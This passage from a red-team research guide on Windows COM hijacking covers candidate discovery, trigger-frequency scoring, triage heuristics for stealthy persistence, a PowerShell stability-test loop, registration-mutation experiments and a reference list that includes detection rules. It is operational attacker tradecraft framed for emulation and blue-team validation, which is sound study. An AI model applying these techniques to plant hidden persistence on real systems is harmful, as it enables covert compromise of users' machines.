**Task-driven discovery.** `Get-ScheduledTaskComHandler.ps1` ([8]) or the §2.2 PowerShell loop → user-context ComHandler tasks with logon/idle triggers = scheduled triggers you can shadow.
|
||
|
||
**Frequency scoring.** A hijack is only as good as its trigger rate. Options: boot/session ProcMon traces → count `RegOpenKey` hits per CLSID per process per hour; ETW (Microsoft-Windows-COMRuntime / registry ETW); or acCOMplice's `Hijack-MultipleKeys` — hijack several candidates at once with a *logging* DLL and count activations over days ([13]). Score = trigger frequency x host desirability (explorer/browsers/taskhostw > niche processes) x breakage risk.
|
||
|
||
### 3. Triage heuristics — a target is promising if...
|
||
|
||
- the activating process is an **auto-start, Microsoft-signed host** in a normal user session (explorer.exe, taskhostw.exe, browsers/WebView2, Outlook);
|
||
- activation happens **at logon** or on a frequent, predictable cadence (task trigger, audio-stack use, shell start);
|
||
- the class is **third-party, abandoned, or undefined** — more likely to survive Windows updates than in-box Microsoft classes (CrowdStrike's point ([16]));
|
||
- the HKLM original exists with a known `ThreadingModel` (so a pass-through proxy keeps the host functional), or nothing exists at all (phantom — nothing to break);
|
||
- no HKCU shadow is already present, and the target's bitness/hive placement (including `Wow6432Node`) is understood;
|
||
- the payload path can be staged somewhere plausible (`%APPDATA%\Microsoft\...`), matching ITW precedent ([19]).
|
||
|
||
### 4. Analysis workflow — validating a candidate
|
||
|
||
Static first: dump the class registration with oleviewdotnet ([26]); record the original server path, `ThreadingModel`, ProgID/LIBID links, and whether the class is a shell extension (extra shell-specific values like `ShellFolder` attributes may be required — see the eventvwr recipe, §2.1).
|
||
|
||
Dynamic harness: implement the §2.7 pass-through DLL against the original server and unit-test it with a controlled client — leoloobeek ships TestCOMClient/TestCOMServer for exactly this ([11], [12]). Then soak-test the real host:
|
||
|
||
```powershell
|
||
# Soak loop sketch: repeatedly launch/kill the host and watch for instability (illustrative)
|
||
1..50 | % {
|
||
Start-Process explorer.exe; Start-Sleep 5
|
||
Get-WinEvent -LogName Application -MaxEvents 5 |
|
||
?{ $_.ProviderName -eq 'Windows Error Reporting' } # WerFault breadcrumb
|
||
Stop-Process -Name explorer -Force; Start-Sleep 2
|
||
}
|
||
```
|
||
|
||
Watch for WerFault entries, UI hangs, and proxy-marshal stalls. Verify: `ThreadingModel` matches HKLM; the payload is gated (mutex + host check) so it runs once; 32/64-bit hive placement is correct; and `DllCanUnloadNow` lets the payload finish before unload ([11]).
|
||
|
||
### 5. Fuzzing / mutation ideas
|
||
|
||
Mutation in this category means *systematically varying the registration*, not the bytes (methodology derived from the vectors above; treat specific outcomes as verify-in-lab):
|
||
|
||
- **`ThreadingModel` matrix** (`Apartment`/`Free`/`Both`/`Neutral`/absent) against STA- and MTA-hosted clients — map which mismatches produce silent proxy/stub insertion vs. hangs vs. crashes; crashes tell you the client is apartment-sensitive and the proxy must be exact.
|
||
- **Value-type and moniker mutations:** `REG_SZ` vs `REG_EXPAND_SZ` with unexpanded variables; `script:` with local path vs. remote URL in TypeLib values; `ScriptletURL` on scrobj-backed classes — observe which combinations oleaut32/scrobj actually honor.
|
||
- **Link-type mutations:** `TreatAs` vs `AutoTreatAs` vs direct shadow on the same class; check which are honored per client and which telemetry each generates.
|
||
- **Hive-placement mutations:** 64-bit host vs. `Wow6432Node`-only shadow; `HKU\<SID>_Classes` vs `HKU\<SID>\Software\Classes` — confirm which underlying store each monitored path surfaces from ([4], [23]).
|
||
- **Shell-only knobs:** `LoadWithoutCOM` and `ShellFolder` attribute combinations for shell-loaded classes ([28]).
|
||
|
||
### 6. From lead to primitive — proving exploitability
|
||
|
||
A candidate graduates to a persistence primitive when you can demonstrate, in a clean VM: (1) the target host loads *your* DLL on the expected trigger (confirm via ProcMon `Load Image` or Sysmon EID 7); (2) the payload executes exactly once per intended scope (mutex gate works across logons); (3) host functionality is intact — no WerFault, no UI regression, the proxied class answers real calls (the squiblydoo lesson: a hijack that breaks slmgr.vbs/WinRM is a detection, not a persistence ([5])); (4) it survives logoff/logon and reboot; and (5) it produces the expected, minimal telemetry set (§4) — document the EID 12/13 writes and EID 7 loads so the blue team can validate their rules against your emulation (Atomic Red Team tests #1–#4 are the baseline ([29]), and EVTX-ATTACK-SAMPLES shows what real telemetry looks like ([30])).
|
||
|
||
### 7. Further reading
|
||
|
||
- bohops, *Abusing the COM Registry Structure Part 2* — loading techniques and evasion ([5])
|
||
- SpecterOps, *Revisiting COM Hijacking* (2025) — modern hosts, export forwarding, OpSec ([15])
|
||
- leoloobeek, *Proxying COM For Stable Hijacks* — the pass-through pattern ([11])
|
||
- CrowdStrike, *New Abuse of the ClickOnce Technology: Part 2* — phantom-object persistence ([16])
|
||
- David Tulis / NCC Group, *acCOMplice* — discovery methodology and tooling ([13])
|
||
- MDSec, *Persistence Part 2 – COM Hijacking* — ComHandler walkthrough ([10])
|
||
|
||
---
|
||
|
||
## References
|
||
|
||
[1] Component Object Model Hijacking (T1546.015) — MITRE ATT&CK (updated 2025) — https://attack.mitre.org/techniques/T1546/015/
|
||
[2] Merged View of HKEY_CLASSES_ROOT — Microsoft — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
|
||
[3] TreatAs key — Microsoft — https://learn.microsoft.com/en-us/windows/win32/com/treatas
|
||
[4] Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — bohops (2018) — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
||
[5] Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — bohops (2018) — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||
[6] COM Object hijacking: the discreet way of persistence — G-Data (2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
|
||
[7] Userland Persistence with Scheduled Tasks and COM Handler Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
|
||
[8] Get-ScheduledTaskComHandler.ps1 — enigma0x3 — https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
|
||
[9] "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — enigma0x3 (2016) — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||
[10] Persistence Part 2 – COM Hijacking — Dominic Chell / MDSec (2019) — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
|
||
[11] Proxying COM For Stable Hijacks — leoloobeek (2019) — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/
|
||
[12] COMProxy — leoloobeek — https://github.com/leoloobeek/COMProxy
|
||
[13] acCOMplice (COMHijackToolkit) — David Tulis / NCC Group (DerbyCon 9) — https://github.com/nccgroup/Accomplice
|
||
[14] COM-Hunter — @nickvourd + @S1ckB0y1337 — https://github.com/nickvourd/COM-Hunter
|
||
[15] Revisiting COM Hijacking — SpecterOps (2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
|
||
[16] New Abuse of the ClickOnce Technology: Part 2 — CrowdStrike (2025) — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
|
||
[17] Hijacked and Hidden: New Backdoor and Persistence Technique — ReliaQuest (2025) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
|
||
[18] Turla's Unique Outlook Backdoor — ESET (2018) — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/
|
||
[19] "Cyber Conflict" Decoy Document (Sednit/APT28) — Cisco Talos — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
|
||
[20] UNC2529: Triple Double: Trifecta Phishing Campaign — FireEye/Mandiant (2021) — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
|
||
[21] Beyond good ol' Run key, Part 84 — Hexacorn (2018) — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
|
||
[22] COM-Object-hijacking — 3gstudent — https://github.com/3gstudent/COM-Object-hijacking
|
||
[23] Use COM Object hijacking to maintain persistence: Hijack Outlook — 3gstudent — https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
|
||
[24] COM Hijacking — HackTricks — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
|
||
[25] Persistence – COM Hijacking — pentestlab (2020) — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
|
||
[26] oleviewdotnet — James Forshaw — https://github.com/tyranid/oleviewdotnet
|
||
[27] SharpDllProxy — Flangvik — https://github.com/Flangvik/SharpDllProxy
|
||
[28] UACME — hfiref0x — https://github.com/hfiref0x/UACME
|
||
[29] Atomic Red Team T1546.015 — Red Canary — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
|
||
[30] EVTX-ATTACK-SAMPLES — sbousseaden — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
|
||
[31] registry_set_persistence_com_key_linking.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
|
||
[32] registry_set_treatas_persistence.yml — SigmaHQ — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
|
||
[33] SigmaHQ registry_set rules directory — SigmaHQ — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
|
||
[34] persistence_suspicious_com_hijack_registry.toml — Elastic — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
|
||
[35] COM Objects Hijacking — VirusTotal (2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
|
||
[36] Eventvwr UAC Bypass — Splunk — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
|
||
[37] APT28 (G0007) — MITRE ATT&CK — https://attack.mitre.org/groups/G0007/
|
||
[38] ComRAT (S0126) — MITRE ATT&CK — https://attack.mitre.org/software/S0126/
|
||
[39] Registration-Free COM Interop — Microsoft — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop
|